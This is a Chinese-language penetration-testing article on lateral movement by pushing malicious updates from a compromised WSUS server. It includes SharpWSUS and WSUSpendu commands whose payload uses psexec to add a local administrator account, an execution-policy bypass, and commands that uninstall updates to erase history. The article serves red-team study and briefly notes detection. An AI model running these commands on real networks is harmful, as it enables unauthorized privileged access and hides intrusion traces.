Good in study, attitude and health

渗透技巧——通过WSUS进行横向移动

0x00 前言


在内网渗透中,当我们获得了WSUS服务器的控制权限后,可以通过推送补丁的方式进行横向移动。这个利用方法最早公开在BlackHat USA 2015。本文将要整理这个利用方法的相关资料,结合思路思路,得出行为检测的方法。

参考资料:

https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf

https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/

https://labs.nettitude.com/blog/introducing-sharpwsus/

0x01 简介


本文将要介绍以下内容:

  • 环境搭建
  • 利用思路
  • 实现工具
  • 行为检测

0x02 环境搭建


本节介绍WSUS服务器搭建的过程,通过配置客户端实现补丁的推送

参考资料:

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10)

1.WSUS服务器搭建

WSUS服务器需要安装在Windows Server操作系统

(1)安装

在添加角色和功能页面,选择Windows Server Update Services

需要指定补丁更新包的存放路径,这里可以设置为C:\WSUS

(2)配置

打开Windows Server Update Services进行配置

配置时选择默认选项即可,在选择Download update information from Microsoft Update时,点击Start Connecting,如果报错提示An HTTP error has occurred,经过我的多次测试,可以采用以下方法解决:

关闭当前页面

进入Windows Server Update Services,选择synchronization,点击synchronization Now,等待同步完成,如下图

Alt text

选择Options,选择WSUS Server Configuration Wizard,重新进入配置页面,连接成功,如下图

Alt text

配置完成后需要创建计算机组,如下图

Alt text

当同步完成后,会提示下载了多少个补丁,如下图

Alt text

选择Updates页面,可以查看已下载的补丁,Unapproved表示未安装的补丁,安装后的补丁可以选择Approved进行查看,如下图

Alt text

选中一个补丁,点击Approve...,弹出的对话框可以针对指定计算机组安装补丁,如下图

Alt text

2.客户端配置

客户端只要是Windows系统即可,需要通过组策略配置

依次选择Computer Configuration -> Administrative Templates -> Windows Components -> Windows Update,选择Configure Automatic Updates,设置成Auto download and notify for install,选择Specify intranet Microsoft update service location,设置更新服务器地址为http://192.168.1.182:8530

注:

需要指定端口8530

对于域环境,配置组策略后需要等待一段时间,这是因为组策略每90分钟在后台更新一次,随机偏移量为0-30分钟,如果想立即生效,可以输入命令:gpupdate /force

对于工作组环境,配置组策略可以立即生效

当客户端开始补丁更新时,WSUS服务器会获得客户端的信息,并显示在Computers页面

组策略配置的操作等同于创建注册表,具体信息如下:

(1)组策略配置自动更新后会创建注册表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

查询命令:REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"

返回结果示例:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
    UseWUServer    REG_DWORD    0x1
    NoAutoUpdate    REG_DWORD    0x0
    AUOptions    REG_DWORD    0x3
    ScheduledInstallDay    REG_DWORD    0x0
    ScheduledInstallTime    REG_DWORD    0x3

其中AUOptions对应组策略配置中的Configure automatic updating2代表Notify for download and notify for install3代表Auto download and notify for install4代表Auto download and schedule the install5代表Allow local admin to choose setting

(2)组策略配置服务器地址后会创建注册表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

查询命令:REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"

返回结果示例:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
    WUServer    REG_SZ    http://192.168.112.182:8530
    WUStatusServer    REG_SZ    http://192.168.112.182:8530

3.推送补丁

在WSUS服务器的Windows Server Update Services页面,选择指定补丁,右键点击Approve...,在弹出的对话框中选择计算机组即可

等待客户端到达补丁更新时间,即可完成补丁的推送

0x03 利用思路


如果我们能够生成一个带有Payload的补丁,就能够通过补丁进行横向移动,但是在利用上需要注意补丁文件的签名问题:Windows的补丁文件需要带有微软的签名

通常的利用方法是使用带有微软签名的程序,例如psexec,通过psexec执行命令或者添加一个管理员用户

0x04 实现工具


开源的工具有以下三个:

https://github.com/nettitude/SharpWSUS

https://github.com/AlsidOfficial/WSUSpendu

https://github.com/ThunderGunExpress/Thunder_Woosus

以上三个工具的实现原理基本相同,都是创建一个调用psexec执行命令的补丁,将补丁推送至指定计算机,等待目标计算机更新补丁

创建补丁的操作需要连接SQL数据库,依次实现以下操作:

  • ImportUpdate
  • PrepareXMLtoClient
  • InjectURL2Download
  • DeploymentRevision
  • PrepareBundle
  • PrepareXMLBundletoClient
  • DeploymentRevision

1.创建补丁

SharpWSUS在创建补丁时需要注意转义字符,命令示例:

SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^&^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"

这条命令将会在UpdatesSecurity Updates页面下创建WSUSDemo,如下图

Alt text

2.补丁部署

将补丁部署到指定计算机组,命令示例:

SharpWSUS.exe approve /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7 /groupname:"Demo Group"

这条命令会创建计算机组Demo Group,并且把win-iruj9k30gr7移动到该组下面,如下图

Alt text

接下来需要等待客户端安装这个补丁

3.查看补丁状态

查看补丁是否被安装,命令示例:

SharpWSUS.exe check /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7

补丁未安装的输出如下:

[*] Action: Check Update

Targeting win-iruj9k30gr7
TargetComputer, ComputerID, TargetID
------------------------------------
win-iruj9k30gr7, d00cc6fd-4b98-492a-9f5d-12b1a14bd7a6, 2

Update Info cannot be found.

[*] Check complete

还有一种查看方法是查看计算机的补丁更新时间,示例命令:SharpWSUS.exe inspect

输出示例:

####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
computer02, 192.168.112.149, 7.6.7601.24436, 8/30/2022 7:55:44 AM
win-iruj9k30gr7, 192.168.112.143, 7.6.7600.320, 8/30/2022 7:42:57 AM

为了便于测试,可以强制客户端更新补丁,看到新的补丁信息,如下图

Alt text

4.清除补丁信息

命令示例:

SharpWSUS.exe delete /updateid:f316d1b2-b530-40bc-b4d7-0453d85c4c58 /computername:win-iruj9k30gr7 /groupname:"Demo Group"

这条命令会删除补丁,删除添加的计算机组

在整个补丁更新过程中,WSUS服务器会将psexec.exe保存在WSUS服务器本地C:\wsus\wuagent.exeC:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe,需要手动清除

在测试WSUSpendu时,为了便于分析细节,可以修改以下代码:

[CmdletBinding()]
Param(
)
$PayloadFile = "psexec.exe"
$PayloadArgs = '-accepteula -s -d cmd.exe /c "net user Titi Password123_ /add && net localgroup Administrators Titi /add"'
$ComputerName = "win-iruj9k30gr7"
$Inject = 1

命令行执行:powershell -ep bypass -f WSUSpendu.ps1 -Verbose,将会输出完整的信息

0x05 行为检测


客户端的补丁历史更新记录会保存所有的补丁安装信息:

如下图

Alt text

但是,攻击者如果获得了系统的管理员控制权限,可以通过命令行卸载补丁的方式清除历史更新记录,命令行卸载补丁的命令示例:

查看更新:wmic qfe list brief/format:table

卸载指定更新:wusa /uninstall /kb:976902 /quiet /norestart

0x06 小结


本文介绍了通过WSUS进行横向移动的方法和实现工具,结合利用思路,给出行为检测的建议。


LEAVE A REPLY